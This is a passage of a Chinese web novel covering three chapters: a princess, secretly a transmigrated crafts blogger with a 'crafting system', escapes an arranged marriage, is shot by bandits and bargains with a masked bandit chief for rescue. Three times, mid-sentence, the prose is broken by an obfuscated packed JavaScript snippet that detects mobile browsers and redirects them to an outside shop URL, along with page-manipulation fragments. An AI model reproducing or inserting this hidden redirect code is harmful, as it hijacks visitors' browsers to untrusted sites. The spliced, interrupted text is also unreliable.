《我靠手作系统在古代杀疯了》 1. 第一章 娇弱可欺的端柔公主,做了件骇人听闻的大事。 她逃婚了。 准确来说,是她抗拒和亲塞外,所以在正月十五上元节这日潜逃出宫,再不见踪影。 三日前,端柔公主李颦像往常一样去金銮殿看望父皇,里头却传来太子兄长和父皇激烈的争吵。 “颦儿上月才刚及笄,戎狄就向朕求娶,朕绝对不会答应!” “父皇,徐家男丁战死沙场后,我们大梁再无可用之将,若宛昭嫁去戎狄可换大梁十年休养生息,那么这就是她身为公主该担起的责任!” “你也知道徐家人都死光了!那是颦儿的外祖家,徐家为大梁牺牲至此,难道朕还要将颦儿推去疾苦之地吗?” “父皇,您不应也得应,张大人和梁大人已拟好诏书,您只需盖上玺印,其他的都交给儿臣来做吧。” 接着便是一阵噼里啪啦的响声,不过须臾之间便转为寂静,再次有动静却是金銮殿的殿门被推开。 李颦看到太子兄长从殿中走出来,脸上挂着心满意足的微笑,黄金色的诏书被他紧紧握在手里。 他低头看到李颦,眉头顿时皱起,不悦地说道:“宛昭你身为大梁唯一的公主,怎能不顾礼仪在殿外偷听?” 太子不喜欢他这个同父异母的妹妹,徐贵妃生下她没两年就病逝了,她整日极少开口说话,明明长着一张绝世出尘的漂亮脸蛋,却呆头呆脑,好惹人厌。 再则父皇因盛宠徐贵妃,而对身为皇后的他的母亲格外冷淡,对他这个皇后之子也没甚好脸色,若不是有他外祖张大人和梁大人的施压,他可能都做不成这个太子。 李颦眨了眨眼,仰起头朝太子笑,“兄长,我可以不嫁到塞外的戎狄去吗?” 太子正要呵斥李颦,可见她实在娇美的脸,话到嘴边却再说不出口。 他这妹妹有时也算聪慧,知道利用自己的优势让人心软。 “戎狄王虽年岁已大,可他正妻已逝,你嫁过去便是戎狄大妃,不算堕你公主的名声,大梁的安危,都系在你一人身上了,宛昭你可要争气些。” 他状作友爱地轻抚李颦的肩膀,可李颦下一句话却让他脸上的笑意崩裂—— “那兄长呢?大梁的安危都靠我一人,那兄长起了什么作用?” 李颦言笑晏晏地轻声说,看着他的眼神依旧怯懦,可却闪过一丝嘲讽。 “你!” “颦儿,进来。” 还不待太子发火,金銮殿里的皇帝便发了话。 李颦嘴角衔着微微的笑意,向太子兄长福了一礼,便留给他一个环佩轻响的背影。 太子脸色铁青,被李颦气得发抖,他从未想过这个空有美貌的妹妹能说出这般尖锐扎心的话。 他瞪向李颦,直到她进了金銮殿才恨恨地拂袖而去,准备暗自将宫里拨给李颦的嫁妆减半。 金銮殿里一片凌乱,皇帝颓唐地坐在地上,手里的酒壶空了便被他扔到一边,旁边的小太监赶忙给他上了新的酒。 “请父皇安,父皇万安。” 李颦心里默默叹了口气,她这便宜爹真不像大权在握的皇帝。 李颦不是真正的端柔公主。 她原本是现世拥有百万粉丝的手作娘博主,好不容易靠一条制作二次元武器长刀的视频涨粉十万,能多接点大单子多赚钱时,结果因为自己是个极致i人,很少出门社交,整天关在家里制作手作道具,长期吸入甲醛过量过多,一命呜呼了。 等她再睁眼,以为自己到了阴曹地府的时候,却发现自己竟绑定了手作系统,穿越到了一个历史上完全不存在的国度——大梁朝。 李颦穿越到了和徐贵妃一样病弱而亡的端柔公主身上,端柔公主名唤李宛昭,字为颦。 倒也能算得上和她同名同姓,缘分天定吧。 她有皇帝爹疼爱,宫婢环绕,衣来伸手饭来张口,以至于她根本用不上手作系统,所以穿越而来的这五六年里,系统一直封存在她的脑海里,从未使用过。 “看来要重操旧业了......” 大梁朝重文轻武,到她便宜爹央帝这一代,皇权早被文官集团架空,而国力匮乏得连边境的小骚扰都抵不过,唯有李颦外祖家的父辈兄长们还能一战,可惜前些年也都为国捐躯,壮烈牺牲了。 李颦身为公主,对前朝的许多事并不多了解,虽有飘摇欲坠之感,可在皇宫的虚浮荣华里,恰恰隐没了这点不安。 如今大梁已经到了需要用女子换和平的地步,李颦不得不正视起来。 “颦儿,你在说什么啊?” 央帝眯起眼睛,看向李颦,却因为喝了太多的酒而眼前重影,不住地甩头。 李颦将央帝扶起,歪着头十分乖巧地问:“父皇,上元节那日我可以去看望外祖母和舅母么?今年怕是女儿最后一次见她们,女儿想多留一会儿,毕竟......” 她并未将话说完,央帝却明白李颦的意思。 央帝挣脱开李颦的搀扶,扬起下巴高呼:“二十四桥仍在,波心荡,冷月无声。”① 又来了...... 李颦姣好的面容上浮现出无奈之色,她这父皇每每遇到解决不了的大事便要吟诗作对,偏偏他没什么才学,只会唱读别人作的诗,以此来抒发悲伤,逃避现实。 他捶胸顿足地转身抱住李颦,悲切地低鸣:“颦儿,父皇实在是没法子了,父皇不能做亡国之君,只能委屈你......委屈我的颦儿委身戎狄老贼,换边境和平啊!” “愹娘,我对不起你,对不起我们的孩子啊!” 央帝哭喊着徐贵妃的名字,活像个小孩,若不是李颦撑着他干瘦的身子,他险些要扑通一下跪在地上。 “颦儿,你想去你外祖家就去吧,多宽慰宽慰你外祖母也是好的,上元节宫外头有灯会,去散散心。” 他慈爱地抚摸上李颦的脸,眼角沁出热泪。 李颦抿着嘴点头,捏起手帕给央帝擦泪,对父皇是又可怜又可嫌,但也可悲。 哪有皇帝做成他这样的。 可央帝到底这些年确实是真心疼爱她,她的食邑比其他皇子多两县,早早给了“端柔”这个封号,殊荣比太子更甚。 李颦有过沾沾自喜,父皇能给自己这么多荣宠。 可乱世之中,这个国家的统治者都要靠底下的人稳固政权,她又怎么指望在大事上懦弱的父亲解救自己呢。 可又凭什么要她牺牲? 达官贵人享受着朱门酒肉臭的弥醉日子,像水蛭一样吸干了大梁这个国家的血,如今血要败干了,反倒推她出去当他们的血包供血。 她李颦可不伺候! 她有自己的想法和意志,不再愿意当任人摆布的布娃娃,嫁到千万里之外的戎狄,过不知生死的日子。 所以她静静地候着央帝睡着,转身离开金銮殿时,一个逃走计划就开始酝酿了。 她要靠自己逃出去,逃出这吃人的宫殿、吃人的京城。 李颦闭着眼,在宫女的搀扶下缓缓绕过曲折的长廊,再睁眼时,她眼里的胆小怯弱都消失了,取而代之的是狠厉。 “嘶,你怎么伺候的,手都把本宫抓疼了!” 她抬手要扇扶着自己的宫女,手伸到半道却改为推,那宫女满脸震惊地看向李颦。 “殿下,您......” “来人,将她带去掖庭,让尚宫们好生教导,本宫不需要她伺候了!” 四周驻守的侍卫听到李颦的吩咐,没有丝毫懈怠地将那宫女架起来,越拖越远。 李颦将垂到鬓边的碎发撩到耳后,走到无人之处才呼了口气,轻拍胸口,一副好险的模样。 这日之后,每过一两个时辰,端柔公主的宫殿里便被赶出来几个小太监或者小宫女。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029352|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 众人只当端柔公主因和亲之故,而性情大变,拿伺候的人撒气,所以她殿里的奴才一天比一天少。 正月十五上元节这日,李颦穿着朱红色的宫裙,乌黑的长发高挽在头顶,发髻前簪着赤金九尾凤凰钗,凤凰的嘴里衔着颗绛紫色的宝石,宝石垂在她饱满的额头前轻轻晃动。 李颦对镜而坐,她浅笑了下,黄铜镜里的人儿也跟着勾起唇角,艳丽的口脂在昏暗的烛火中,印衬得她有丝诡异的鬼气。 咯呲......咯呲...... 是茶盏之间碰撞的刺耳声音。 李颦往身后看过去,见是枝玉端着花茶而来。 枝玉是一直在她身边近身伺候的大宫女,也是如今她宫殿里唯一一个伺候的人。 李颦的手指在妆台上轻轻敲击着,每敲一下,枝玉的肩膀就更沉一分。 只是李颦还没发作,枝玉便掀了托盘跪在李颦的脚边,她的双手紧贴着殿里温热的地砖,而脑袋深埋胸口,颤抖着嗓子哀求: “奴恳请殿下,将奴一起带走吧!” 李颦故作冰冷的表情再维持不住,左右探着脑袋,噔噔噔跑到殿门口将宫殿内室的殿门紧紧关上。 “你怎么知道我要跑路了?” 她确实要跑路,所以才会在逃跑之前把身边伺候的人先赶走,这样等她跑后,至少曾经相处过的宫女太监不会因她而受罚。 李颦皱起自己那张漂亮的脸蛋,怎么都想不明白,自己哪里露馅了...... 她明明为了维持黑化人格,连妆粉都敷得厚了些,眼睛嘴巴更是涂得异常艳丽,怎么模仿电视剧里的黑化,她还能失败的? “奴婢从小便跟在殿下身边伺候,殿下最是温柔善良,伺候的宫女太监没有不喜爱殿下的,殿下突然将其他人赶走,怕是为逃出宫做准备。” “奴婢打听了,被您赶走的宫女太监在掖庭并未被尚宫大人们苛待,反而去了别处伺候,所以奴猜测殿下是故意为之。” 枝玉猛地抬头,眼神灼灼地看向李颦,“奴还管殿下贴身衣物,发现殿下自己缝补了几件衣裙,使得衣裙更结实难撕扯,今日您内里穿的就是其中一件。” “奴五岁时就被大伯卖给了人牙子,因着命好才转辗入宫在您身边伺候,您从不打骂奴婢,奴婢被其他宫的宫女欺负时,您也会替奴向陛下讨公道,奴婢病了,您也从不苛责,会喊宫里值守的太医替奴婢看病,药材也给奴婢最好的,春日里您带奴婢放风筝,冬日您允奴婢堆雪人,您的好,奴婢都记在心里。” 枝玉膝行至李颦跟前,抱住李颦的腿,委屈不已,“奴说句大逆不道的话,奴没有父母家人,奴早将您当做最亲的家人了,一早就打算好,若是你真和亲去戎狄,奴婢一定随您一起去,如今看您打算逃出宫,那才是再好不过,奴愿意生死相随!” “求殿下带上奴婢一起走吧!” 李颦的嘴唇无意识地微张,唇角轻轻颤动。 她没想到自己平日看来稀松平常的事,却能给小小的枝玉这般大的心里慰藉,所以一时之间有些不知作何反应。 而殿外的侍卫开始催促:“启禀端柔公主殿下,您的车驾已至,候您送至徐府。” “求您了,殿下!” 侍卫和枝玉的声音在李颦耳里交叠,她咬着牙站起身,犹豫便会败北,她想好了——一个人也是跑,两个人也是跑,那就带上枝玉这小可怜罢。 她一把提起枝玉,急匆匆给枝玉擦了把脸,“快去清好行囊,把我要带去徐府的箱笼里全部装满金银首饰,我带你走。” 枝玉被李颦感染,连连点头,麻利地收拾东西。 半刻钟后,李颦在枝玉的随侍下,坐上了出宫的马车。 马车车轮在浅浅的雪地里压出一道道车辙印记,直到宫门在车后重重地关上,李颦和枝玉相视一笑,看向热闹的街道。 2. 第二章 京城的上元节在黄昏会慢慢亮起花灯,直至深夜都久久不灭。 此时街道里人潮汹涌,摩肩接踵的人群络绎不绝,高亢的呼声自然是来自火树银花炸开的璀璨之处,骤然的亮光将青砖绿瓦都染成火红的金,处处都堆满了灯山花架,娘子们戴着帷帽挑灯,郎君们背着手高谈阔论。 舞龙舞狮在人群中灵动地穿梭,所到之处带着糖葫芦的甜蜜和脂粉的香气,整个京城都徜徉在欢喜里。 李颦就是在这般热闹的地界消失的。 她坐在马车里,将自己头上戴着的一支雕花金钗拿下递给枝玉,枝玉收进袖中,坚定地点了点头。 “停车,公主殿下见街边热闹,想与民同乐。” 枝玉掀开窗纱,朝随行的侍卫吩咐,侍卫有些为难,“回禀殿下,今日上元节,人群拥挤,殿下金枝玉叶,臣恐难护殿下。” “你们这点本事都没有,父皇要你们是吃干饭的吗?” 李颦猛地推开马车车门,喊停了马车,将侍卫都叫到跟前训斥,颐指气使的模样让侍卫不敢抬头。 这时人群中突然沸反盈天,爆发出前所未有的混乱——不知从何处洒下了诸多的金银裸子,就连珠宝首饰都像不要银钱一样的被抛洒下来。 “发财了!快捡啊!” “你抢什么抢,这个大的金裸子是我先看到的。” “你个死老头拿什么珍珠项圈,你戴得了吗你就抢!” 混乱的人群将马车团团围住,侍卫反应过来时却无法赶人,因为端柔公主下令不准伤人,要与民同乐! “啧,没长眼睛呢?”李颦突然抓住枝玉,怒斥道:“那支雕花金钗是父皇赏赐给本宫的,你撞掉了赔得起吗?给本宫下去找!” “你们都给本宫去找到钗子,不然本宫上告父皇,要父皇砍了你们的脑袋!” 侍卫看到那支闪闪发亮的钗子掉到地上,却被拥挤的人群给踢到了一边,慌忙挤进去寻找。 而李颦说完就一把将枝玉推下马车,没成想她也一起摔到了地上,挤攘着捡珠宝的人马上把她们两淹没,只剩凄惨的叫声。 “快来!公主殿下摔了!” “肃静!闲杂人等立即回避!” 这时候,侍卫哪还管什么公主的命令,抽出佩刀就往人群里砍,人要是丢了,他们可怎么向陛下交差,那怕是要交脑袋吧...... 拥挤的人群慢慢散开,可哪里还能看到端柔公主和那小宫女的踪影。 只有端柔公主那件朱红色的宫裙堆在地上,宫裙里包着的是她头上戴的那支凤钗,凤钗的流苏七零八落的洒落在四周,那颗绛紫色的宝石像黯淡的眼睛落满尘埃。 “快回宫禀告陛下和太子殿下,封锁城门!端柔公主不见了!” 李颦拉着枝玉狂奔,在小摊上买的兜帽几乎要被风给吹翻。 “殿下,我们......” “忘了我与你说的了?” 从今往后没有殿下宫女,只有姐姐妹妹,李颦是姐姐,枝玉是妹妹。 枝玉喘着气问她:“颦儿姐姐,我们要出城吗?” “这是自然,不过我们走水路,所以脚程要快,赶上今日最后一趟出城的大舸。” 枝玉便不再问,紧紧握住李颦的手跟着跑,望向公主飘飞的发丝和纤长的背影,只觉安心。 公主平日里少言温和,大多时候看起来有些怯生生的,其他皇子言语上欺负,她也不怎么追究,没想到她竟是这般有决断的人,干就干了票大的! 京城的港口在西城门,而上元节这日是不禁宵的,封锁城门需要陛下的御令,所以李颦算准这中间的时分,必须卡在这之间登上船。 待她站在平稳行驶在江海里的大舸甲板上,眼见西城门缓缓关闭时,一直惴惴不安的心才终于回落胸膛。 “咦,你们瞧城门怎么关了?” “不知晓,怕是发生什么大事了吧。” “那也不关咱们的事,娘子,你还是想想回了娘家见到岳父岳母会不会哭吧......” 李颦和枝玉都牢牢地戴着兜帽,将面上遮了个完全,听到身边人的议论声,只沉默地对视了一眼,便低下头,拽紧了衣袖。 “殿......颦儿姐姐,我们去益州吗?”枝玉用气声问她。 李颦却摇头。 这艘大舸是去益州的,她们的逃跑计划并不严密,查到这艘船极容易被找到踪迹,大舸三日后会在雍州停靠,她们就在那时候下船,绕过拂云山改陆路南下,便能离京城越来越远,也更安全。 三日后,约莫戌时,天地昏黄,朦胧的暗色笼罩在江海里,大舸到了雍州。 船刚停靠稳,李颦和枝玉隐在几个身形壮硕的男子身后,跟着下了船。 “嗳,那两个小娘子呢?” 这几日跟李颦和枝玉坐在一处的妇人从厕屋回来后问丈夫。 她丈夫正打盹,听到妻子的声音哦了声,“下船了吧” “哎哟,你也真是的,不知道提醒几句,雍州这几年乱得很,拂云山附近总有几个土匪寨的人出入,那两个娘子看着娇滴滴的,遇上土匪可怎么办......” “人家要走,我难不成还去阻拦不成......” 当李颦和枝玉脚踏在雍州的土地上时,两人都有一种从紧张不安里解脱的感觉。 可二人终究是在这大梁涉世未深,莽着胆子夜间赶路,和她们一起下船的一个壮汉拦住了两人的去路。 “小娘子,深夜出门,可是遇到什么困难了?可要我帮你们啊?” 这男人露出淫邪的笑意,面前的两个女子脸虽被遮了个完全,可身段穿着一瞧就是美人儿。 牡丹花下死做鬼也风流,他光棍四十载,还从没遇见过这样的好事。 枝玉吓得浑身发抖,可饶是如此,她也迈步挡在李颦跟前,呵斥对面的男子:“你要做什么?退下!” “哟,小娘子还是个暴脾气,不过我喜欢,一会儿在我身下,我瞧你还如何撒泼!” 这男子扭头朝旁边吐了口唾沫,搓着手要上前,不过下一刻却满脸通红的呆住了。 他微张着嘴停住脚步——他遇见天仙了。 李颦见势不对,将枝玉拨到自己身后,把兜帽取了下来,仰起一张俏生生的脸,面上是讨好柔弱的笑容,“郎君,我的脚扭了,能否劳烦郎君扶我一把?” 这男子顿时流下口水,一脸痴呆地朝李颦走过来,“好,好,我来帮娘子......” “颦儿姐姐......” 枝玉急得直跺脚,可下一瞬她便说不出话来。 李颦在这壮汉靠近的时候,握紧拳头蓄力,咬着牙,看准了位置,抬起脚狠狠踹向他的下三路,末了用脚跟狠碾才算解气。 “想做风流鬼,我成全你!” 壮汉疼得在地上不停地翻滚,粗着嗓子嗷叫,凄厉的叫声惊动了拂云山的鸟雀,鸟雀尖鸣,伴着壮汉的怒骂—— “个死娘皮!老子要杀了你!杀了你!” 可惜他的怒骂,李颦和枝玉听不到,因为两人已经往拂云山密林里跑了。 还好缝在衣裙里的银票珠宝不算多,衣袖裙摆也都被李颦重新改良缝补过,不然她们跑起来不会这般顺畅。 冬夜的冷风直往李颦的喉间灌,她断断续续地说:“我们要继续跑,远离人群,天亮了才可能安全些。” 她们互相拽紧手和胳膊跑,耳里只有呼啸的夜风,可山林间突然响起震耳的砍杀声。 一瞬间火光冲天。 两人心下一凛,难道...... “哎!” 枝玉脚抖得摔了一跤,脸上身上沾满了泥,她眼里虽有泪,但却没哭,一咕噜就爬了起来继续跟着李颦跑。 “殿下,不用管奴婢,奴婢可以跑!” 李颦却像是想起了什么似的,将自己和枝玉的兜帽都扔了,捧了把泥就往自己的脸上抹。 “碍事!” 不知刚刚的冲杀声是什么,所以她们必须往远处跑,头上戴兜帽影响两人的速度,干脆丢了,用泥巴抹脸,弄得脏乱些也算轻微的自保。 要快! 要再快些! 必须远离未知的危险! 可是,或许是因为李颦逃出宫后一切都太顺了,下船后麻烦和危险接踵而至。 “那边有人!” “一定是黑风寨的娘们!” “站住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029353|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “废什么话,放箭!” 箭声长鸣,李颦拽着枝玉趴在地上,躲过了这道冷箭。 两人不敢耽搁,腿就算吓得打摆子也麻溜地站起逃命。 “再来!放箭射杀!” 李颦的身后传来密雨般的箭声。 她吐着粗气,心恨不能从嗓子眼蹦出来,身边却传来枝玉的闷声。 “枝玉,小心!” 枝玉中箭倒在地上,她推了李颦一把,对着李颦大喊:“别管奴了!奴不能拖累您,您快跑!” 只是却来不及,下一瞬,李颦的大腿被箭矢贯穿,血流不止。 “呃——!” 两人身后传来凌乱的脚步声,一步一步越来越近。 李颦忍痛抽出衣袖里藏起的长簪,簪子被她削得格外的尖。 “我们无冤无仇,你们为何伤人!” 簪尖对向扛着弯刀而来的几人,这几人身穿兽皮,赤脚朝李颦走来。 李颦因为逃命衣裙沾满了污垢,原本就披散在身后的乌发纠缠在一起,贴在她被污泥涂满了的颊边。 可月光之下,她这张小巧娇憨如白玉捏就的脸,依旧难掩艳丽。 这几人调笑,“不是黑风寨的狗娘们。” 李颦马上接话,“我不是什么黑风寨的人,只是途径此地,好汉们找错了人,可否放我们离去?” 站在最前面的那猛汉大笑,用刀尖指向枝玉,“她肩膀中了我们一箭。” “你腿中了一箭。”又用刀指向李颦。 “反正你们也活不了了......”这人说罢开始解裤子的系带,招呼身后的几人,“不如让我们兄弟们快活快活。” “我先来,你们靠后。” 李颦气血上涌,大腿处被箭插着的伤口涓涓冒血,可她不会轻言放弃。 她死死盯着对面的莽汉,只要他靠过来,她就用簪子捅穿他的脖子。 李颦用尽最后的力气蹿起,闭着眼睛朝这人挥簪,却扑了个空。 她摔到地上,耳边却传来枝玉响彻黑夜的尖叫声。 李颦感觉有湿漉漉的东西淋到自己的头上,一阵血腥味。 睁开眼时,她猝不及防地对上了一个无头男尸,她猛地倒吸一口冷气,骇然地往后退,这是刚刚那个要凌辱自己的人。 她看向对面那棵高树,树干上插着一柄长刀,长刀上浸着浓血,还在发出震鸣的嗡声。 咻——咻——! 剩下的几人一个接着一个倒下,喉间都插着长长的箭,瞪着眼睛死不瞑目。 这一切都发生在眨眼之间,迅速而惊悚。 拂云山的密林里,传来高亢的笑声,声音由远及近,几乎近在耳边。 “黄坡寨的狗屎们就这么点能耐?完全没杀尽兴啊!” “简直不经打嘛,我们寨主飞刀那个一耍,头都掉了哈哈哈!” “不止飞刀,还有寨主的箭,哎哟,根根没喉,一箭毙命!” 夜风乍起,吹乱了密林的枝叶,寒月映照下,终于照亮了纷至沓来的人影。 脚步声渐近,踢踏作响,起码百八十人! 李颦浑身汗毛炸起,手撑在地上往后躲。 她遇上了山匪,还不止一伙! “噢哟!这两个小娘子长得好生俊俏,我们带回去给咱寨主做压寨夫人吧!一个大老婆,一个小老婆,不多不少,两个正好!嘿嘿......” “少放屁,别毁寨主名声,我们寨主不是这样的人!” 一个穿着劲装的女子走了出来,将凑到李颦和枝玉跟前的那男子给拽到了一边。 她朝着身后招手,“寨主,这两个丫头不是黄坡寨的人。” 女子身后的壮汉们纷纷让开一条宽阔的道,露出那棵高树前的男子。 那男子发力抽出树干上的长刀,只浅浅一眼都能瞧见他衣袍下虬结贲张的肌肉,他未像其他男子那般束发,长长的头发遮住了他的虎背蜂腰。 他转身,面上戴着一幅鬼面面具,只有眼睛处挖了两个洞,露出他锐利明亮的双眼。 “那又如何,照样杀。” 说罢,这人衔着寒风而至,长刀凌冽,直往李颦面中劈。 3. 第三章 “啊——!别杀我们,我有钱!” 李颦抱着枝玉的脑袋要躲开,可避之不及,长刀擦过她的耳尖,直直地插入她身后的土坡里。 錚的一声险些将她耳膜震破,接着便是此起彼伏的大笑声。 “寨主可真坏,故意吓人家,这样细皮嫩肉的小丫头怎么经得起你的吓!” 那个说话声音清脆的女子笑着开口,抬脚踹了下身后的几个年轻男子,“还愣住做什么,干正事!” “是是!三当家的下手可真重,老子屁股都被踹肿了。” “我看看!” “去去去!” 一行人调笑着围到李颦身边,就在李颦以为自己还是难逃一死时,这些人却直接忽略了她,朝她身后的土坡去搬东西。 她僵硬着脖子,用余光去瞧,原来是她靠着的土坡里埋着好多箱金条和珠宝,箱子被他们用刀撬开时,闪瞎人眼。 而那个被称为寨主的男子如鬼魅般压住李颦的肩膀,冰凉的面具擦过她的额头,她的头顶传来男子粗粝却饶有兴致的声音—— “你有钱,多少?说个数。” 直到他贴近自己,李颦才看清楚他的穿衣打扮。 他穿了件半短的黑袍子,袍子领口敞得极开,能瞧见他带疤的胸口,袍子边扎在靛蓝色的裤子里,袖口的一圈兽皮将他的手腕包得十分紧。 腰间、肘间和膝盖都缠着牛皮革,革带上打了一圈的孔,挂着数不清的尖利飞镖。 而他胯上更是用虎皮挂着两把箭弩,沉甸甸地往下坠。 可他的行动并未被这些武器限制,反而快狠准,牢牢地攥着李颦的肩膀。 李颦在他碰上自己的瞬间,浑身像触电般一震,被抽走了所有力气,四肢僵硬得不能动。 她只能按住自己大腿上的伤口,借此让自己清醒,不要害怕。 偏偏这人听她没回答,垂下头目光直直地看向李颦。 他的眼神透过鬼面面具,像是一条吐着信子的蟒蛇,将她全身上下一寸一寸地剥落吞噬。 李颦第一次在一个人面前有不着寸缕的胆寒。 她的喉间下意识地吞咽了下,正要顶着这人极具压迫感的目光开口,可她的整张脸都被罩下来的大手给盖住了。 接着李颦便被身前的这个鬼面人粗鲁地用手抹脸。 枝玉见他这般对待公主,拼命地用脑袋去撞他,没成想却被他一个手刀给劈晕了过去,李颦想去搂住枝玉,身体却被面前的人锢住,动弹不得。 李颦的脸终于被这人给抹干净,露出了那张姝丽的面容。 他露在鬼面面具外的眼睛微眯,听到身后弟兄们的抽气声,撑起双臂将其他人的目光挡得严严实实。 “你哑巴了?你这哑巴还喜欢玩泥巴,刚刚不是挺会喊的?”这人粗声粗气地问她,捏着她下巴的手力道特别大。 李颦被下巴和大腿的疼痛折磨得直抽气,可她处在弱势里,不得不低头讨好,以保全性命。 “多......多谢恩人出手相救,我们姐妹俩的银钱不算多,但愿意悉数奉给恩人,以报恩人救命之恩。” 霎时间,周围的土匪们捧腹大笑—— “咱们寨主可成了大好人了哈哈哈!” “小娘子你这话就说错了,真要报答,就当我们寨主的压寨夫人!” “就是!你漂亮,我们寨主英俊,多般配的一对!” 不过“恩人”不说话,取下一枚飞镖割李颦和枝玉的衣裙。 李颦的脸色唰得一下变得惨白,拖着枝玉往后挪,蹬着右腿大叫:“啊——!滚开!” “嘁,就这点?” 李颦喘着气睁开眼睛,才发现这人手里拿着她缝补在衣裙里的银票和珠宝,很是不屑地瞥向她。 她瞳孔紧缩,摸向自己的衣袖和领口,里面的暗层被割破了,她对这人的动作毫无察觉,他的功夫到底有多强? “寨主,东西我们都清点完了,黄坡寨抢了我们的东西都在里头。” 戴着鬼面面具的人沉吟一声,挑眉将手里的银钱珠宝都塞进了衣襟里。 他抬手一挥,“回。” “好嘞。” 跟着他的那些人动作极快,抬着箱子就跑。 这人抬头看了眼天际,天色雾蒙蒙的,快天亮了。 “红豆,回去让老二把我的刀再磨一下,钝得砍人都不利索,水货东西!” “领命!” 一直跟在他身边的女子接过他抛来的刀,在手中颠了下,笑嘻嘻地一跃,蹿到树林深处不见了。 他毫无留恋地转身要走,腿却被人给抱住了。 李颦死死咬住下唇,脸颊两侧因为用力而鼓起,都要把后槽牙咬碎。 她不能让这人走! 枝玉快不行了,李颦摸到枝玉滚烫的额头才发觉她起了高热。 约莫是中箭的原因,生锈的铁刺穿骨肉,若不及时医治,她们两恐怕都会死。 这人拿了她所有的银钱和珠宝,那就必须要好人做到底,再救她和枝玉一次。 “恩人,我妹妹快不行了,你能不能带我们一起走,我们身上的银钱已经都给您了,求求......您。” 李颦也开始发晕,觉得眼前有无数个鬼面环绕着自己。 这人蹲下身,拍向衣襟处,哼声笑,“误打误撞救你们一次,那些是本大爷的报酬,要大爷我没有好处救你们第二次,没门。” “切,你长得丑,想得倒是挺美。” 他挥开李颦的手,可李颦的求生意志太强,用力一把抓住这人的手,死死不放。 这个戴着鬼面面具的人眉心狠蹙,他第一次被个小娘子握住手。 她的手如柔荑,柔软细腻地将他的大手包裹住,这触感就像他前些日子抢了甄财主镖车里的那箱子冰凉顺滑的丝绸,让他浑身起鸡皮疙瘩。 “啧。” 他觉得心里发毛,这小娘子摸他的手作甚,滑腻腻的感觉好让他不适,好让他恶心。 “我可以帮你做武器,你不是嫌你的刀不快吗?我能做比你现在身上所有武器都要强的东西。” 李颦喘着粗气,从喉咙深处嘶吼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029354|194511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她觉得这句话一定能打动他。 面前这人从头到脚挂的都是各种各样的武器,他该很痴迷这些,且他的那把长刀能整齐地斩断人的脖子,他都还嫌不锋利,可见他对武器的追求极高。 李颦在现世做过太多二次元稀奇古怪的武器,再加上她有手作系统,一定能做出叫这人满意的东西。 果然,鬼面人拽住李颦的手腕,不可置信地将她打量一番,很是轻视地嗤笑,“你会做个狗屁的武器,我身上的这些东西你认识吗?” 李颦无力地勾起嘴角笑,她确实不认识,但是她的手作系统一定认识。 [宿主您好,您终于唤醒我啦!] 李颦的脑海里响起如海潮般汹涌的鼓掌声和欢呼声,吵得她险些耳鸣。 [你好系统,麻烦帮我认出这个人身上的所有武器。] 李颦无声地和手作系统对话,接着传来系统得意的声音。 [交给本系统吧,小菜一碟!] 这人见李颦沉默,只以为她夸下海口,正要掰开李颦的手,却看到李颦指向他的耳朵。 “你耳朵上戴着的坠子是暗器,耳针转一下,坠子便能放出毒针,名唤锁喉。” 李颦望着他的眼睛,接着道:“你身上挂着的四十九枚飞镖唤獠光,你砍人脑袋的刀唤血吻。” “腰间的两把箭弩,外看一模一样,内里却一大一小,大的唤破风,小的唤裂帛。” 李颦每说一句,他露在鬼面面具外的眼睛里便多一丝震惊和玩味。 有意思。 这个看起来柔柔弱弱,一捏都能被捏死的小娘子,竟然知道这些。 李颦恍惚中见他眼神变化,心里暗道有机会,深吸一口气,压下眼底的涣散,她还不能晕,必须撑住。 她抿着嘴,抬头看向对面的人,大眼睛水汪汪的满是委屈和讨好,“寨主恩人,我能做出更好的武器,助你往后的所有争斗中,能铲除对手,所向披靡。” 这人沉默几息,猛然大笑起来:“有意思。” “既然你要做好东西给本大爷,本大爷再救你们一回又何妨。” 他一手抓一人,将李颦和枝玉抛起来,一下子把枝玉反抗在肩膀上,李颦落到他怀里的时候,他有些吃惊地挑眉。 这小娘子怎么这么轻...... 他一把搂住李颦,将李颦牢牢抱在怀里,她滑溜溜的脸颊贴在他的胸前,让他胸腔似火弹,有些发烫,又有些发痒。 小娘子什么的,真麻烦…… 他啧啧摇头,脚尖使力,噌的一下飞到树梢头,披着淡淡的晨光,带着李颦和枝玉,离开了拂云山的密林。 李颦眯眼看着眼前不停变换的山林,抬手拽住他的衣襟,手背感受到他胸膛的温热,一直绷紧的身子仿佛被抽掉了脊骨,咻然坍塌,滑进了戴着鬼面面具的人怀里。 总算得救了。 李颦放心地晕了过去。 